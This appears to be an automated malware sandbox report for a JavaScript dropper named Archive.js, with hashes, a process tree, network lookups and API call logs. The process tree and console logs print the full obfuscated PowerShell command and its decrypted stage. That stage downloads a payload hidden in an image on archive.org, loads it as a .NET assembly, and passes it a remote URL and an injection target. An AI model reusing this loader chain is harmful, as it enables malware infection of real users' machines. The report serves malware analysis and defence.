popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Archive.js

Generic Malware Antivirus ActiveXObject PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 July 31, 2024, 10:23 a.m. July 31, 2024, 10:26 a.m.
Size 53.2KB
Type C source, Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 d24a4b4852a8485e74220ee5979f2884
SHA256 6a0bb27696be12c33a832c0993cd45265f3cdd0081da9f338677a242af393058
CRC32 C4509ED8
ssdeep 768:+NDvQ0BBr1z97NEJKPNpM779FVqESDq1vLO:sr147bUtO1vi
Yara
  • Javascript_ActiveXObject - Use ActiveXObject JavaScript

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Archive.js

    3060

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIQz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsfgJXiOA2nlGzxlz3mP4hoc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZLoswZyUybqg9ubmrDf6/EuaCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      2224

Name Response Post-Analysis Lookup
ia601606.us.archive.org
A 207.241.227.86
207.241.227.86
IP Address Status Action
164.124.101.2 Active Moloch
207.241.227.86 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "33875419224826702940537577739181";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "Qz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: 3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: +SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBP
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: WyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLE
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: I/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpq
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: mtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wU
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: Vy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: 73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJ
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: AtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5V
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: qzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQ
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: Jtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0Qf
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: ROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT0
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: 32No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsf
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: gJXiOA2nlGzxlz3mP4hoc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: 0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZ
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: LoswZyUybqg9ubmrDf6/Eua";$textoDescriptografado = Decrypt-AESEncryption -Base64
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: Text $textoCriptografadoBase64 -Key $chave;Write-Host "Texto Descriptografado:
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: $textoDescriptografado";Invoke-Expression $textoDescriptografado;
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: $imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ACIREMASITAHW/441.922.571.701//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))
console_handle: 0x000001e3
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: An unexpected error occurred on a send."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:169
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathn
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: ote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetStri
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: ng($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$st
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: artIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFl
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Subs
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: tring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64S
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: tring($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($com
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: mandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.Get
console_handle: 0x000000b3
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388cf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003894b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003894b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003894b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003893b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003893b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003893b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003893b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003893b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003893b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388db0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388db0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388db0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388fb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003896b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00389770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00389770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00389770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00389770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388bf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00388bf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 917504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02980000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02981000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02982000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
